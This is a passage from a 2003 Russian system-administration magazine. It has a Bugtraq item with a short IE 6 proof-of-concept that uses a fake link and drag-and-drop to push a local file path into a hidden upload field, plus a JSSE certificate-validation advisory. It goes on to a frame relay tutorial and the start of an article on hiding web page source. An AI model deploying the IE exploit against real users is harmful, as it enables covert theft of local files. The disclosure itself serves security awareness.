Демонстрационный эксплоит можно посмотреть здесь:http://kuperus.xs4all.nl/security/ie/xfiles.htm.

Уязвимость проверена в IE 6 sp1 + все исправления.

<head><script language="javascript">

function handleOnmousedown() {

top.moveBy(1,0)document.all.target.style.left = 10;

window.setTimeout("top.moveBy(-1,0)", 5);document.all.source.dragDrop();

}

function handleDragstart() {

window.event.dataTransfer.setData("text", "c:\\jelmer.txt")}

</script><style>

.fakelink { color: Blue; cursor: hand; text-decoration:underline; }

#target {position: absolute; left: -300px; z-index: 1;}</style>

</head><body>

<span id="source" class="fakelink" onmousedown="handle-Onmousedown()"

ondragstart="handleDragstart()">Click me</span><input id="target" type="file">

</body>

Sun Java Secure Socket Extension (JSSE)может некорректно утверждатьсертификаты веб-сайтовУязвимость проверки сертификатов обнаружена в Sun’sJava Secure Socket Extension (JSSE). Уязвимы также JavaPlug-In и Java Web Start. Программное обеспечение можетнекорректно подтверждать подлинность веб-сайтов илиJAR-файлов. Sun сообщил, что JSSE может неправильнопроверять правильность цифрового сертификата сайта. Врезультате злонамеренный сайт может быть заверен дляSSL-транзакций. Согласно Sun, если SSLContext инициа-лизирован с использованием функции SSLContext.init() с не-зависимым образцом X509TrustManager выполнения, JSSEнеправильно вызовет метод isClientTrusted() для опреде-ления доверенного сертификата. Также сообщается, чтоJava Plug-in и Java web Start могут некорректно удтверж-дать цифровые сертификаты подписанных JAR-файлов. Врезультате злонамеренный код может подтвердить подлин-ность как доверенный код. Уязвимость обнаружена в JSSE1.0.3 or earlier; also JSSE in SDK and JRE 1.4.0_01.

BUGTRAQ

25№3(4), март 2003

Page 28: 004 Системный Администратор 03 2003

26

администрирование

АБСОЛЮТНОВСЕО FRAMERELAY

АБСОЛЮТНОВСЕО FRAMERELAY

СЕРГЕЙ РОПЧАНСЕРГЕЙ РОПЧАН

Технология frame relay изначально расcчитывалась каквысокоскоростная технология для территориальных сетей,предназначенная для передачи чувствительного к задержкамтрафика, которым, в частности, являются видео- иаудиопотоки, – что и стало главным фактором высокойвостребованности данной технологии.

Технология frame relay изначально расcчитывалась каквысокоскоростная технология для территориальных сетей,предназначенная для передачи чувствительного к задержкамтрафика, которым, в частности, являются видео- иаудиопотоки, – что и стало главным фактором высокойвостребованности данной технологии.

Page 29: 004 Системный Администратор 03 2003

27№2(3), март 2003

администрирование

Сети frame relay – сравнительно но-вые сети, которые гораздо лучшеподходят для передачи пульсирую-щего трафика локальных сетей. Посравнению с технологией Х.25, этопреимущество проявляется толькотогда, когда каналы связи прибли-жаются по качеству к каналам ло-кальных сетей; в случае же глобаль-ных сетей такое качество достижи-мо при использовании волоконно-оптических кабелей.

Преимущество сетей frame relayзаключается в их низкой протоколь-ной избыточности и дейтаграммномрежиме работы, что обеспечиваетвысокую пропускную способность инебольшие задержки кадров. На-дежную передачу кадров даннаятехнология не обеспечивает, данныесети специально разрабатывалиськак общественные сети для соеди-нения частных локальных сетей прискорости передачи данных до 2Мбит/c.

У данной технологии есть осо-бенность, которая заключается в га-рантированной поддержке основныхпоказателей качества транспортно-го обслуживания локальных сетей –средней скорости передачи данныхпо виртуальному каналу при допус-тимых пульсациях трафика. Суще-ствует еще одна технология – АТМ,которая может гарантировать анало-гичные показатели, в то время каквсе остальные технологии предос-тавляют требуемое качество обслу-живания только в режиме “с макси-мальными усилиями” (best effort), тоесть без гарантий.

Технология frame relay в сетяхISDN стандартизирована как служ-ба. В рекомендациях I.122, вышед-ших в свет в 1988 году, эта службавходила в число дополнительныхслужб пакетного режима, но затемуже при пересмотре рекомендацийв 1992-93 гг. она была названа служ-бой frame relay и вошла в числослужб режима передачи кадров на-ряду со службой frame switching.Служба frame switching работает врежиме гарантированной доставкикадров с регулированием потока. Напрактике поставщика услуг предла-гают только саму службу frame relay.

Технология frame relay сразу при-влекла большое внимание ведущих

телекоммуникационных компаний иорганизаций по стандартизации. Вее становлении и стандартизациипомимо CITT (ITU-T) активное учас-тие принимают Frame Relay Forum икомитет T1S1 института ANSI.

Некоммерческую организациюFrame Relay Forum образовали в1990 году компании Cisco Systems,StrataCom, Northern Telecom и DigitalEquipment Corp. для развития и кон-кретизации стандартов CCITT иANSI. Спецификации Frame RelayForum носят название FRF и имеютпорядковые номера. СпецификацииFRF часто стандартизируют те ас-пекты данной технологии, которыене нашли еще свое отражение встандартах ITU-T и ANSI. Например,спецификация FRF.11 определяетрежим передачи голоса по сетямframe relay.

Концорциум Frame Relay Forumразработал спецификацию, отвеча-ющую требованиям базового прото-кола frame relay, разработанногоT1S1 и CCITT. Однако консорциумрасширил базовый протокол, вклю-чив дополнительные возможностипо управлению сетью со стороныпользователя, что очень важно прииспользовании технологии framerelay в сложных корпоративных се-тях. Эти дополнения к frame relayобобщенно называют Local Mana-gement Interface (LMI) – локальныйинтерфейс управления.

Стандарты ITU-T обычно отлича-ются высоким уровнем сложности иналичием многих возможностей, ко-торые достаточно трудно реализо-вать на практике. СпецификацииFrame Relay Forum упрощают неко-торые аспекты стандартов ITU-T илиотбрасывают некоторые возможно-сти. Так, технология frame relay ненашла своего отражения в специфи-кации FRF, а процедуры созданиякоммутируемых виртуальных кана-лов появились в спецификациях FRFпозже, чем в стандартах ITU-T, иоказались более простыми.

Стандарты frame relay, как ITU-T/ANSI, так и Frame Relay Forum, оп-ределяют два типа виртуальных ка-налов: постоянные (PVC) и коммути-руемые (SVC). Это соответствуетпотребностям пользователей, таккак для соединений, по которым тра-

фик передается почти всегда, боль-ше подходят постоянные каналы, адля соединений, которые нужны нанесколько часов в месяц, большеподходят коммутируемые каналы.

Однако производители оборудо-вания frame relay и поставщики ус-луг сетей frame relay начали с под-держки только постоянных вирту-альных каналов. Это, естественно,является большим упрощением дан-ной технологии. Тем не менее в пос-леднее время появилось оборудова-ние, поддерживающее коммутируе-мые виртуальные каналы, и появи-лись поставщики, предлагающиеданную услугу.

Стек протоколовframe relayТехнология frame relay используетдля передачи данных технику вирту-альных соединений, аналогичнуютой, которая применялась в сетяхХ.25, однако стек протоколов framerelay передает кадры (при установ-ленном виртуальном соединении) попротоколам только физического иканального уровней, в то время какв сетях Х.25 и после установлениясоединения пользовательские дан-ные передаются протоколом 3-гоуровня.

Кроме того, протокол канально-го уровня LAP-F в сетях frame relayимеет два режима работы: основной(core) и управляющий (control). В ос-новном режиме, который физическипрактикуется в сегодняшних сетяхframe relay, кадры передаются безпреобразования и контроля, как и вкоммутаторах локальных сетей. Засчет данной особенности описывае-мой технологии она обладает высо-кой производительностью, а сеть непередает квитанции подтверждениямежду коммутаторами на каждыйпользовательский кадр, как это про-исходит в сети Х.25. Пульсации тра-фика передаются достаточно быст-ро и без больших задержек.

При таком подходе уменьшают-ся накладные расходы при переда-че пакетов локальных сетей, так какони вкладываются сразу в кадры ка-нального уровня, а не в пакеты се-тевого уровня, как это происходит всетях, построенных на базе техноло-гии Х.25.

Page 30: 004 Системный Администратор 03 2003

28

администрирование

Структура стека frame relay хоро-шо отображает ее происхождение внедрах технологии ISDN, так каксети frame relay заимствуют многоеиз стека протоколов ISDN, особен-но в процедурах установления ком-мутируемого виртуального канала.

Основу технологии составляетпротокол LAP-F core, который явля-ется весьма упрощенной версиейпротокола LAP-D. Протокол LAP-F(стандарт Q.922 ITU-T) работает налюбых каналах сети ISDN, а такжена каналах типа T1/E1.

Терминальное оборудование по-сылает в сеть кадры LAP-F, в любоймомент времени считая, что вирту-альный канал в сети коммутаторовуже проложен. При использованииPVC оборудованию frame relay нуж-но поддерживать только протоколLAP-F core.

Протокол LAP-F control являетсянеобязательной надстройкой надLAP-F core, которая выполняет фун-кции контроля доставки кадров и уп-равления потоком. С помощью про-токола LAP-F control сетью реализу-ется служба switching.

Для установки коммутируемыхвиртуальных каналов стандарт ITU-Tпредлагает канал D пользовательс-кого интерфейса. На нем работаетпротокол LAP-D, который использу-ется для надежной передачи кадровв сетях ISDN. Поверх этого протоко-ла работает протокол Q.931 или про-токол Q.933 (который является уп-рощением и модификацией протоко-ла Q.931 ISDN), устанавливающийвиртуальное соединение на основеадресов конечных абонентов (встандарте Е.164 или ISO 7498), атакже номера виртуального соеди-нения, которое в технологии framerelay носит название Data LinkConnection Identifier (DLCI).

После того как коммутируемыйвиртуальный канал в сети framerelay установлен посредством про-токолов LAP-D и Q.931/933, кадрымогут транслироваться по протоко-лу LAP-F, который коммутирует их спомощью таблиц коммутации пор-тов, в которых используются локаль-ные значения DLCI. Протокол LAP-Fcore выполняет не все функции ка-нального уровня по сравнению спротоколом LAP-D, поэтому ITU-T

изображает его на пол-уровня ниже,чем протокол LAP-D, оставляя местодля функций надежной передачи па-кетов протоколу LAP-F control.

Из-за того что технология framerelay заканчивается на канальномуровне, она хорошо согласуется сидеей инкапсуляции пакетов едино-го сетевого протокола, например IP,в кадры канального уровня любыхсетей, составляющих интрасеть.Процедуры взаимодействий прото-колов сетевого уровня с технологи-ей frame relay стандартизированы,например, принята спецификацияRFC 1490, определяющая методыинкапсуляции в трафик frame relayтрафика сетевых протоколов и про-токолов канального уровня локаль-ных сетей и SNA.

Другой особенностью технологииframe relay является отказ от коррек-ции обнаруженных в кадрах искаже-ний. Протокол frame relay подразу-мевает, что конечные узлы будут об-наруживать и корректировать ошиб-ки за счет работы протоколов транс-портного или более высоких уров-ней. Это требует некоторой степениинтеллектуальности от конечногооборудования, что по большей час-ти справедливо для современныхлокальных сетей. В этом отношениитехнология frame relay близка к тех-нологиям локальных сетей, такихкак Ethernet, Token Ring и FDDI, ко-торые тоже только отбрасывают ис-каженные кадры, но сами не зани-маются их повторной передачей.

В основу структуры кадра LAP-Fбыл взят формат кадра HDLC, нополе адреса существенно изменилосвой формат, а поле управления во-обще отсутствует.

Технология frame relay, обеспечи-вает основные параметры качестватранспортного обслуживания, необ-ходимые при объединении локаль-ных сетей.

Вместо приоритезации трафикаиспользуется процедура заказа ка-чества обслуживания при установ-лении соединения, отсутствующая всетях Х.25 и пробивающая себе до-рогу в сетях ТCP/IP в форме экспе-риментального протокола RSVP, ко-торый пока не нашел широкого при-менения. В технологии frame relayзаказ и поддержка качества обслу-

живания встроены.Для каждого виртуального со-

единения определяется несколькопараметров, влияющих на качествообслуживания:� CIR (Commited Information Rate) –

согласованная информационнаяскорость, с которой сеть будетпередавать данные пользовате-ля;

� Bc (Commited Burst Size) – согла-сованный объем пульсации, тоесть максимальное количествобайт, которое сеть будет переда-вать от этого пользователя за ин-тервал времени Т;

� Be (Excess Burst Size) – допол-нительный объем пульсации, тоесть максимальное количествобайт, которое сеть будет пытать-ся передать сверх установленно-го значения Bc за интервал вре-мени T.

Если эти величины определены,то время Т вычисляется по форму-ле: T=Bc/CIR. Можно задать значе-ния CIR и T, тогда производной ве-личиной станет величина всплескатрафика Bc.

Гарантий по задержкам переда-чи кадров технология frame relay недает, оставляя эту услугу сетямАТМ.

Основным параметром, по кото-рому абонент и сеть заключают со-глашение при установлении вирту-ального соединения, является согла-сованная скорость передачи дан-ных. Для постоянных виртуальныхканалов это соглашение являетсячастью контракта на пользованиеуслугами сети. При установлениикоммутируемого виртуального кана-ла соглашение о качестве обслужи-вания заключается автоматически спомощью протокола Q.931/933. Тре-буемые параметры CIR, Bc, Be пе-редаются в пакете запроса на уста-новление соединения.

Так как скорость передачи дан-ных измеряется на каком-то интер-вале времени, то интервал Т и яв-ляется таким контрольным интерва-лом, на котором проверяются усло-вия соглашения. В общем случаепользователь не должен за этот ин-тервал передавать в сеть данные сосредней скоростью, превосходящей

Page 31: 004 Системный Администратор 03 2003

29№2(3), март 2003

администрирование

CIR. Если же он нарушает соглаше-ние, то сеть не только не гарантиру-ет доставку кадра, но помечает этоткадр признаком DE (DiscardEligibility), равным 1, то есть каккадр, подлежащий удалению. Одна-ко кадры, отмеченные таким призна-ком, удаляются из сети только в томслучае, если коммутаторы сети ис-пытывают перегрузки. Если же нетперегрузок, то кадры с признакомDE=1 доставляются адресату.

Для контроля соглашения о пара-метрах качества обслуживания всекоммутаторы сети frame relay выпол-няют так называемый алгоритм “ды-рявого ведра” (Leaky Bucket). Алго-ритм использует счетчик С посту-пивших от пользователя байт. Каж-дые Т секунд этот счетчик уменьша-ется на величину Bc (или же сбра-сывается в 0, если значение счетчи-ка меньше чем Bc). Все кадры, дан-ные которых не увеличили значениесчетчика свыше порога Bc, пропус-каются в сеть со значением призна-ка DE=0. Кадры, данные которыхпривели к значению счетчика, боль-шему Вс, но меньшему Вс+Ве, так-же передаются в сеть, но с призна-ком DE=1. И наконец, кадры, кото-рые привели к значению счетчика,большему Bc+Be, отбрасываютсякоммутатором.

Пользователь может договорить-ся о включении не всех параметровкачества обслуживания на данномвиртуальном канале, а только неко-торых.

Например, можно использоватьтолько параметры CIR и Вс. Этот ва-риант дает более качественное об-служивание, так как кадры никогдане отбрасываются коммутаторомсразу. Коммутатор только помечаеткадры, которые превышают порог Всза время Т, признаком DE=1. Еслисеть не сталкивается с перегрузка-ми, то кадры такого канала всегдадоходят до конечного узла, дажеесли пользователь постоянно нару-шает договор с сетью.

Популярен еще один вид заказана качество обслуживания, при ко-тором оговаривается только порогВе, а скорость CIR полагается рав-ной нулю. Все кадры такого каналасразу же отмечаются признакомDE=1, но отправляются в сеть, а при

превышении порога Ве они отбрасы-ваются. Контрольный интервал вре-мени Т в этом случае вычисляется,как Be/R, где R – скорость доступаканала.

Механизм заказа средней про-пускной способности и максималь-ной пульсации является основныммеханизмом управления потокамикадров в сетях frame relay. Соглаше-ния должны заключаться таким об-разом, чтобы сумма средних скоро-стей виртуальных каналов не пре-восходила возможностей портовкоммутаторов. При заказе постоян-ных каналов за это отвечает адми-нистратор, а при установлении ком-мутируемых виртуальных каналов –программное обеспечение коммута-торов. При правильно взятых насебя обязательствах сеть борется сперегрузками путем удаления кад-ров с признаком DE=1 и кадров, пре-высивших порог Вс+Ве.

Тем не менее в технологии framerelay определен еще и дополнитель-ный (необязательный) механизм уп-равления кадрами. Это механизмоповещения конечных пользовате-лей о том, что в коммутаторах сетивозникли перегрузки (переполнениенеобработанными кадрами). БитFECN (Forward Explicit Congestion Bit)кадра извещает об этом принимаю-щую сторону. На основании значенияэтого бита принимающая сторонадолжна с помощью протоколов болеевысоких уровней (TCP/IP, SPX и т. п.)известить передающую сторону отом, что та должна снизить интенсив-ность отправки пакетов в сеть.

Бит BECN (Backward Expl ici tCongestion Bit) извещает о перепол-нении в сети передающую сторонуи является рекомендацией немед-ленно снизить темп передачи. БитBECN обычно обрабатывается науровне устройств доступа к сетиframe relay: маршрутизаторов, муль-типлексоров и устройств CSU/DSU.Протокол frame relay не требует отустройств, получивших кадры у ус-тановленных битами FECN и BECN,немедленного прекращения переда-чи кадров в данном направлении,как того требуют кадры RNR сетейХ.25. Эти биты должны служить ука-занием для протоколов более высо-ких уровней (TCP, SPX, NCP) о сни-

жении темпа передачи пакетов. Таккак регулирование потока иницииру-ется в разных протоколах по-разно-му – как принимающей стороной,так и передающей, – то разработчи-ки протоколов frame relay учли обанаправления снабжения предупреж-дающей информацией о переполне-нии сети.

В общем случае биты FECN иBECN могут игнорироваться. Нообычно устройство доступа к сетиframe relay (Frame Relay AccessDevice, FRAD) обрабатывает покрайней мере признак BECN.

При создании коммутируемоговиртуального канала параметры ка-чества обслуживания передаются всеть с помощью протокола Q.931.Этот протокол устанавливает вирту-альное соединение с помощью не-скольких служебных пакетов.

Абонент сети frame relay, которыйхочет установить виртуальное со-единение с другим абонентом, дол-жен передать в сеть по каналу D со-общение SETUP, которое имеет не-сколько параметров, в том числе:� DLCI;� адрес назначения (в формате

E.164, X.121 или ISO 7498);� максимальный размер кадра в

данном виртуальном соедине-нии;

� запрашиваемое значение CIRдля двух направлений;

� запрашиваемое значение Bc длядвух направлений;

� запрашиваемое значение Be длядвух направлений.

Коммутатор, с которым соединенпользователь, сразу же передаетпользователю пакет CALL PROCE-EDING – вызов обрабатывается. За-тем он анализирует параметры, ука-занные в пакете, и если коммутаторможет их удовлетворить (распола-гая, естественно, информацией отом, какие виртуальные каналы накаждом порту он уже поддержива-ет), то пересылает сообщениеSETUP следующему коммутатору.Следующий коммутатор выбирает-ся в соответствии с таблицей марш-рутизации. Протокол автоматичес-кого составления таблиц маршрути-зации для технологии frame relay неопределен, поэтому может исполь-

Page 32: 004 Системный Администратор 03 2003

30

администрирование

зоваться фирменный протокол про-изводителя оборудования или жестатическое составление таблицы.Если все коммутаторы на пути к ко-нечному узлу согласны принять зап-рос, то пакет SETUP передается вконечном счете вызываемому або-ненту. Вызываемый абонент немед-ленно передает в сеть пакет CALLPROCEEDING и начинает обрабаты-вать запрос. Если запрос принима-ется, то вызываемый абонент пере-дает в сеть новый пакет –CONNECT, который проходит в об-ратном порядке по виртуальномупути. Все коммутаторы должны от-метить, что данный виртуальныйканал принят вызываемым абонен-том. При поступлении сообщенияCONNECT вызывающему абонентуон должен передать в сеть пакетCONNECT ACKNOWLEDGE.

Cеть также должна передать вы-зываемому абоненту пакетCONNECT ACKNOWLEDGE, на этомсоединение считается установлен-ным, и по виртуальному каналу мо-гут передаваться данные.

Применение сетейframe relayУслуги frame relay обычно предостав-ляются теми же операторами, кото-рые используют сети Х.25. Большаячасть производителей выпускаетсейчас коммутаторы, которые могутработать как по протоколам Х.25, таки по протоколам frame relay.

Технология frame relay начинаетзанимать в территориальных сетяхс коммутацией пакетов ту же нишу,которую заняла в локальных сетяхтехнология Ethernet. Их роднит то,что они предоставляют только быс-трые базовые транспортные услуги,доставляя кадры в узел назначениябез гарантий дейтаграммным спосо-бом. Однако если кадры теряются,то сеть frame relay, как и сетьEthernet, не предпринимает никакихусилий для их восстановления. От-сюда следует простой вывод: полез-ная пропускная способность при-кладных протоколов при работе че-рез сети frame relay будет зависетьот качества каналов и методов вос-становления пакетов на уровнях сте-ка, расположенного над протокола-ми frame relay. Если каналы каче-

ственные, то кадры будут терятьсяи искажаться редко, так что ско-рость восстановления пакетов про-токолом TCP или NCP будет вполнеприемлема. Если же кадры теряют-ся и искажаются часто, то полезнаяпропускная способность в сети framerelay может упасть в десятки раз, какэто происходит в сетях Ethernet приплохом состоянии кабелей.

Поэтому сети frame relay следу-ет применять только при наличии намагистральных каналах волоконно-оптических кабелей высокого каче-ства. Каналы доступа могут быть ина витой паре, как это разрешаетинтерфейс G.703 или абонентскоеокончание ISDN. Используемая наканалах доступа аппаратура пере-дачи данных должна обеспечитьприемлемый уровень искаженияданных – 106.

На величины задержек сетьframe relay гарантий не дает, – и этоосновная причина, которая ограни-чивает применение этих сетей дляпередачи голоса. Передача видеоря-да также не удовлетворяет всем тре-бованиям, так как пропускная спо-собность в 2Мбит/c является недо-статочной.

Тем не менее многие производи-тели оборудования для сетей framerelay поддерживают в своих реше-ниях передачу голоса. Поддержкаустройствами доступа заключаютсяв присвоении кадрам, переносящимзамеры голоса, приоритетов. Маги-стральные коммутаторы frame relayдолжны обслуживать такие кадры впервую очередь. Кроме того, жела-тельно, чтобы сеть frame relay, пе-редающая кадры с замерами голо-са, была недогруженной. При этомв коммутаторах не возникнет очере-ди кадров, и средние задержки вочередях будут близки к нулевым.

Необходимо также соблюдениееще одного условия для качествен-ной передачи голоса – передаватьзамеры голоса необходимо в кадрахнебольших размеров, иначе на ка-чество передачи будут влиять задер-жки упаковки замеров в кадр, такназываемые задержки пакетизации.

Для стандартизации механизмовкачественной передачи голоса черезсеть frame relay выпущена специфи-кация FRF.11. Однако в ней решены

еще не все проблемы передачи го-лоса, поэтому работа в этом направ-лении продолжается.

Ввиду преобладания в коммер-ческих сетях frame relay услуг посто-янных коммутируемых каналов и га-рантированной пропускной способ-ности, эти сети предоставляют услу-ги, очень похожие на услуги дробныхвыделенных линий T1/E1, но толькоза существенно меньшую плату.

При использовании PVC сетьframe relay хорошо подходит дляобъединения локальных сетей с по-мощью мостов, так как в этом слу-чае от моста не нужна поддержкамеханизма установления виртуаль-ного канала, что требует некоторо-го программного “интеллекта”. Мостможет отправлять кадры протоколаEthernet или FDDI непосредственнов кадрах LAP-F или же может ис-пользовать поверх протокола LAP-F протокол РРР. Стандарт InternetRFC 1490 определяет формат заго-ловка SNAP для случая передачичерез сеть frame relay непосред-ственно кадров канального уровня.

Чаще доступ к сетям frame relayреализуют не удаленные мосты, амаршрутизаторы, которые в случаеподдержки на последовательныхпортах протокола frame relay как ос-новного называют устройствами до-ступа FRAD (хотя и мост, и любое ус-тройство, которое поддерживаетпротоколы UNI frame relay, относят-ся к класу FRAD).

Так как сети frame relay переда-ют кадры с небольшими задержками,с их помощью часто передают тра-фик сетей SNA, особенно в том слу-чае, когда они используют такие чув-ствительные к задержкам протоколы,как SDLC (фирменный протокол ка-нального уровня компании IBM).

Виртуальные каналы в качествеосновы построения корпоративныхсетей имеют один недостаток – прибольшом количестве точек доступаи смешанном характере связей не-обходимо большое количество вир-туальных каналов, каждый из кото-рых оплачивается отдельно. В сетяхс маршрутизацией отдельных паке-тов, таких как TCP/IP, абонент пла-тит только за количество точек дос-тупа, а не за количество связей меж-ду ними.

Page 33: 004 Системный Администратор 03 2003
Page 34: 004 Системный Администратор 03 2003

МОЖНО ЛИЗАЩИТИТЬВЕБ-СТРАНИЦЫОТ АНАЛИЗАИСХОДНОГОКОДА?

Можно ли как-то помешать программисту-профессионалу,располагающему сколь угодно богатым арсеналомспециализированных программ – отладчиком, собственной версиейбраузера с исходными текстами, виртуальной машиной и любымидругими средствами – проанализировать исходный HTML-код веб-страницы или, по крайней мере, клиентский JavaScript?Если это и возможно, то так же трудно, как реализация схемызащиты, описанной в этой статье.

Page 35: 004 Системный Администратор 03 2003

33

программирование

Формат HTML – самый популярный формат для представ-ления веб-страниц – изначально разрабатывался как откры-тый. Это значит, что любой посетитель, который видел веб-страницу в своем браузере, при желании всегда мог уви-деть исходный HTML-текст этой страницы. Подобная воз-можность была встроена почти во все браузеры. Например,в Internet Explorer это команда меню View/Source.

Такое положение дел всех устраивало, пока веб-страни-цы были сравнительно несложные. Язык HTML тогда исполь-зовался в основном для выделения гиперссылок, вставкиграфики и стилевого оформления текста. В этой ситуацииисходный HTML-текст отличался от того, что посетитель ви-дел на экране, только сравнительно небольшим количествомпростых тегов, управляющих заголовками, курсивом, жир-ностью, таблицами и т. п. Прятать от пользователя такойHTML-текст не было особого смысла. Любой HTML-версталь-щик cмог бы без особого труда воспроизвести его (или на-писать эквивалентный), просто глядя на экран готовой веб-страницы.

Но постепенно приемы верстки усложнялись, появи-лись стили и, самое главное, стал широко применятьсяязык JavaScript. Ускорение связи сделало возможнымвстраивание в HTML-страницы нетривиальных JavaScript-программ, которые при желании могут насчитывать де-сятки тысяч строк кода.

Сегодня достаточно сложная веб-страница уже не отли-чается от программы, написанной на традиционном языкетипа Delphi или C++ и реализующей некоторый пользова-тельский интерфейс.

В такой ситуации открытость формата HTML иногда ока-зывается нежелательной. Стандарты HTML и JavaScript какбы «навязывают» соглашение, по которому все исходныетексты программ автоматически доступны конечномупользователю. Но в мире обычных программ только сторон-ники движения «Open Source» придерживаются такого под-хода. Остальные разработчики склонны рассматривать свойисходный код как коммерческую тайну или «ноу-хау». Бо-лее того, в некоторых случаях разработчики стараются по-мешать даже изучению скомпилированного машинного кода(или виртуального байт-кода, как в случае Java). Для этогоприменяют различные приемы защиты от дизассемблиро-вания и отладки.

Кроме соображений «коммерческой тайны» возможныслучаи, когда открытость исходного кода веб-страниц недо-пустима по самому замыслу. Возьмем, например, веб-стра-ницу, содержащую некоторый тест. По его результатам, ко-торые посетитель должен куда-то отправить, принимаютсякакие-то решения. Такой тест в принципе нельзя реализо-вывать в рамках открытого HTML и JavaScript – иначе лю-бой грамотный программист легко подделает результатытестирования, просто подсмотрев в JavaScript-коде правиль-ные ответы. Обычно приходится использовать серверное ре-шение – ответы посетителя обрабатываются сервернымскриптом. Но у такого решения есть свои минусы: напри-мер, необходимость в течение всего прохождения теста под-держивать связь с Интернетом или высокая нагрузка на сер-вер при достаточной его популярности.

Возникает естественный вопрос: можно ли как-то поме-шать посетителю веб-страницы получить и проанализиро-

ДАНИИЛ АЛИЕВСКИЙ

Page 36: 004 Системный Администратор 03 2003

34

программирование

вать ее исходный HTML-код или хотя бы используемый кли-ентский JavaScript? Иначе говоря, можно ли защитить веб-страницу от взлома?

Я попытаюсь подробно ответить на этот вопрос.Вначале мы рассмотрим типичные способы «защиты»,

к которым прибегают неопытные веб-программисты, и рас-скажем, как можно легко их преодолеть. Затем мы попро-буем выстроить защитную технологию, которая смогла быреально противодействовать взломщикам.

Сразу оговорюсь: я не располагаю готовым программ-ным пакетом, позволяющим автоматизировать защитустраниц. Я также никогда не реализовывал описываемуюдалее систему защиты для своих веб-страниц. Описывае-мая схема рассматривается чисто теоретически.

Я также не думаю, что защита от взлома именно язы-ков HTML и JavaScript – действительно актуальная задача,по крайней мере, сегодня. Пока что, по моему личному мне-нию, эти языки еще «не тянут» на роль профессиональнойтехнологии разработки нетривиального программного обес-печения. Если действительно требуется разработать кли-ентское приложение, серьезно защищенное от анализаисходных текстов, то, наверное, рациональнее написать егона других языках программирования.

Но с теоретической точки зрения задача защиты исход-ных текстов HTML и JavaScript, как мне кажется, представ-ляет интерес именно потому, что эти языки крайне уязви-мы для взлома. Технологии, которые позволили бы защи-тить от анализа исходных текстов HTML/JavaScript-програм-му, скорее всего, окажутся применимыми практически клюбому другому языку.

Еще одна необходимая оговорка. Я не берусь утверж-дать, что предлагаемые здесь идеи действительно позво-ляют создать надежную защиту. Может быть, можно при-думать программу, автоматически «взламывающую» лю-бую защиту, наподобие описанных далее. Если вы найде-те принципиальные упущения в приведенных далее пост-роениях или, наоборот, придумаете альтернативную сис-тему защиты – буду рад обсудить это на форуме xpoint.ru,а лучше пишите на [email protected].

Во всяком случае, я надеюсь, приведенные ниже рас-суждения помогут новичкам вовремя остановиться в про-цессе разработки новой уникальной системы защиты, ко-торая взламывается профессионалом за 3 минуты. А есликому-то действительно всерьез понадобится защитить своистраницы, возможно, эта статья сможет помочь.

Постановка задачиПредметом нашего обсуждения будет одна HTML-страни-ца либо несколько взаимосвязанных HTML-страниц иJavaScript-файлов, подключаемых тегом:

Вместе этот блок файлов мы будем называть веб-при-ложением.

Наша цель – защитить HTML- и JavaScript-код веб-при-ложения настолько хорошо, чтобы стоимость его взломабыла существенно выше стоимости разработки эквивален-тного веб-приложения. Под взломом подразумевается по-

лучение всех исходных текстов с пониманием логики ихработы, с тем чтобы создать аналогичный либо совершен-но другой продукт, пользуясь украденными фрагментамиHTML- и JavaScript-кода.

Мы исходим из того, что в распоряжении потенциаль-ного взломщика имеются любые программные средства,которые уже существуют или могут быть в принципе раз-работаны. Например, взломщиком может быть програм-мист компании Microsoft, располагающий полным исходнымтекстом самого популярного браузера Internet Explorer. Та-кой программист вполне может чуть-чуть «подправить»браузер с тем, чтобы любой HTML- или JavaScript-код, ко-торый браузеру приходится интерпретировать, автомати-чески сохранялся в протоколе на диске. (Недооценка по-добных возможностей взломщика-профессионала – однаиз самых типичных ошибок новичков, пытающихся защи-тить свои страницы.)

Мы также предполагаем, что взломщик и «законный»посетитель находятся в равных условиях. В частности, еслидля начала работы «законный» посетитель вводит какие-то пароли, то предполагается, что взломщик знает все этипароли.

Веб-приложение должно исполняться (визуализировать-ся и реагировать на действия пользователя) с помощьюHTML- или JavaScript-кода, расположенного на компьюте-ре клиента. В идеале пользователь должен иметь возмож-ность отключиться от Интернета и работать с веб-прило-жением в режиме off-line, пользуясь копиями файлов при-ложения, которые браузер поместил в свой внутренний кэш.Данное требование можно немного ослабить: допустить не-большой обмен данными с сервером (скажем, для целейзащиты). Но мы не рассматриваем ситуацию, когда весьнетривиальный код «прячется» банальным образом: интер-претируется полностью на сервере.

Дополнительное требование: веб-приложение должнокорректно работать хотя бы в некоторых стандартных бра-узерах, скажем, Internet Explorer или Netscape.

«Несерьезные» приемыРассмотрим сначала небольшую коллекцию «несерьез-ных» приемов, к которым часто прибегают веб-програм-мисты, пытаясь защитить свои страницы. Простейшие изэтих приемов настолько наивны, что скорее поучительныв качестве примера, как делать не надо. Но лучшие изних вполне подойдут, чтобы организовать простейшуюзащиту от самых непрофессиональных или ленивыхвзломщиков. В отличие от серьезных методов защитыподобные «несерьезные» приемы почти ничего не стоятразработчику страниц.

Самый наивный прием – борьба с мышкойОчень многие авторы «систем защиты» в первую очередьначинают рассуждать следующим образом.

Чтобы увидеть исходный текст страницы, посетительдолжен выбрать в браузере команду «View Source». Са-мый типичный способ это сделать – «всплывающее» меню,доступное по правой кнопке мышки. Пишем на JavaScriptобработчик нажатия правой кнопки мышки, который вмес-то визуализации локального меню высвечивает какое-ни-

<script language="JavaScript" src="..."></script>

Page 37: 004 Системный Администратор 03 2003

35№3(4), март 2003

программирование

будь ругательство. Есть еще команда «View/Source» в ос-новном меню браузера. Кладем главную страницу внутрьфрейма: тогда Internet Explorer покажет по этой командетривиальный FRAMESET. А если умный пользователь уви-дит внутри FRAMESET адрес страницы с фреймом и от-кроет ее непосредственно? И с этим можно справиться –достаточно проверить в JavaScript, что мы находимся внут-ри нужного фрейма, и если это не так, то сразу уйти настраницу с «ругательствами».

Одна из самых очевидных ошибок таких авторов – онизабывают про кэш браузера. Обычно проще всего полу-чить все исходные тексты, «спрятанные» таким образом,очистив кэш в Internet Explorer и затем зайдя на «защи-щенную» веб-страницу. После этого достаточно заглянутьв папку «Temporary Internet Files» и обнаружить там все«спрятанные» HTML- и JavaScript-файлы.

С кэшированием, правда, можно бороться.

Борьба с кэшированиемБолее «подкованные» разработчики защитных механизмовмогут вспомнить про кэширование страниц и попытатьсяего отключить. В принципе это не так уж сложно. Для зап-рета кэширования существуют специальные элементы взаголовке HTTP-ответа:

